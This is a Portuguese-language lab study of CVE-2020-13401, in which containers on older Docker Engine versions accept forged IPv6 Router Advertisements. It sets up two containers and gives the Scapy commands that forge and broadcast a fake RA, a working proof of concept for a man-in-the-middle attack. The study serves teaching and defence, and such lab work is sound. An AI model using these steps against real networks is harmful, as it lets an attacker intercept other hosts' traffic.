
Estudo sobre a vulnerabilidade CVE-2020-13401 de contêineres em dockers anteriores a 19.03.11.
Estudo sobre a vulnerabilidade CVE-2020-13401 em contêineres de dockers anteriores à versão 19.03.11
Contêineres criados com versões do Docker Engine anteriores à 19.03.11 estão vulneráveis a receber e aplicar mensagens RA (Router Advertisement) falsas de outros contêineres na rede. Receber RAs é um comportamento normal do sistema operacional, mas se o remetente do RA não for confiável na rede, o contêiner vítima pode receber a mensagem, entrar na rede e então enviar todos os pacotes de rede para o novo roteador falso (ataque man-in-the-middle). Esse problema não está relacionado ao IPv4 e é baseado em IPv6.
Fonte Original do Item CVE: CVE-2020-13401
Em versões do Docker Engine anteriores à 19.03.11, os contêineres aceitam mensagens RA por padrão. Considere que existe outro contêiner na rede com a capacidade CAP_NET_RAW. Isso significa que esse contêiner pode criar qualquer pacote de rede e enviá-lo para a rede. Portanto, esse contêiner pode ser usado como uma fonte de forjamento de pacotes. Em versões mais recentes, os contêineres não aceitam mensagens RA, a menos que esse recurso seja habilitado no docker engine. Assim, o sistema ainda pode estar vulnerável se um administrador decidir habilitar esse recurso.
É altamente recomendado atualizar o Docker Engine para proteger seu ambiente de contêineres contra essa vulnerabilidade.
Neste estudo, quero demonstrar como essa vulnerabilidade acontece e ver como nosso contêiner é afetado pela mensagem RA
Em contêineres em execução, testei para verificar se o IPv6 está funcionando. Mas descobri que não há suporte a IPv6 por padrão no meu contêiner. Por padrão, todos os contêineres docker estão conectados a uma rede bridge e essa rede não suporta IPv6. Para habilitar o IPv6 no docker, é necessário adicionar um arquivo daemon.json no caminho /etc/docker/. O conteúdo desse arquivo deve ser o seguinte:
{ "ipv6": true, "fixed-cidr-v6": "fd00::/80" }
É possível atribuir qualquer endereço de sub-rede IPv6 válido. Em seguida, o docker deve ser reiniciado e ler o arquivo daemon novamente do zero para configurar sua rede bridge padrão. Além disso, é possível definir uma nova rede para suportar IPv6.
Comandos para recarregar a configuração e reiniciar o docker:
$ sudo systemctl daemon-reload$ sudo systemctl restart dockerAté agora temos um Docker que suporta IPv6 e é hora de criar os contêineres para iniciar a simulação. Precisamos de pelo menos 2 contêineres. Eu os chamo de Ubuntu_1 e Ubuntu_2. Na sua máquina host, use os seguintes comandos para criar seus contêineres:
$ docker pull ubuntu
$ docker run --name ubuntu_1 -i -t ubuntu bash
$ docker run --name ubuntu_2 -i -t ubuntu bash
Liste seus contêineres usando este comando:
$ docker container ls -a
Use os nomes dos seus contêineres para executá-los:
$ docker container start -ai [CONTAINER NAME]
Em ambos os contêineres você precisa de algumas ferramentas básicas, como:
| Ferramenta | Comando de Instalação |
|---|---|
Instale as ferramentas necessárias e verifique se os seus contêineres estão conectados. Para isso, obtenha o IP do seu contêiner e as informações das interfaces usando o comando ifconfig. Em seguida, use ping -6 [IPv6 de destino] no outro contêiner para garantir que eles estão conectados. Você também pode usar o tcpdump no contêiner de destino para ver os pacotes de ping recebidos.
(Certifique-se de que você está usando IPv6 para pingar os contêineres)
Queremos enviar uma mensagem RA forjada de um dos contêineres na rede e atualizar a tabela IP das vítimas.
Estou usando SCAPY para criar mensagens de anúncio de roteador IPv6. Scapy é baseado em Python. Os passos de instalação são os seguintes:
$ sudo apt install python3-scapyO pacote RA é um pacote de broadcast, o que significa que ele deve ser entregue a todos os nós da rede. Além disso, ele é baseado nas regras do IPv6. Portanto, o endereço de destino é ff01::1 e o protocolo é baseado em ICMPv6.
Execute o Scapy:
$ scapy
Eu uso estes comandos para forjar e enviar o pacote para a rede:
a = IPv6()
a.dst = "ff02::1"
a.display()
b = ICMPv6ND_RA()
b.display()
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = "02:42:ac:11:00:02"
c.display()
d = ICMPv6NDOptMTU()
d.display()
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "d00d::"
e.display()
send(a/b/c/d/e)
Após enviar o pacote, vá para os outros contêineres e use ifconfig novamente. Você verá que sua tabela IP foi atualizada após receber as mensagens RA.
Você pode baixar minhas imagens docker personalizadas para testar e estudar esse problema: Minhas Imagens Docker Personalizadas
| nano (ou qualquer outro editor) |
| apt-get install nano |
| net-tools | apt-get install net-tools |
| hping3 | apt-get install hping3 |
| tcpdump | apt-get install tcpdump |
| scapy | apt install python3-scapy (instalar apenas em 1 contêiner) |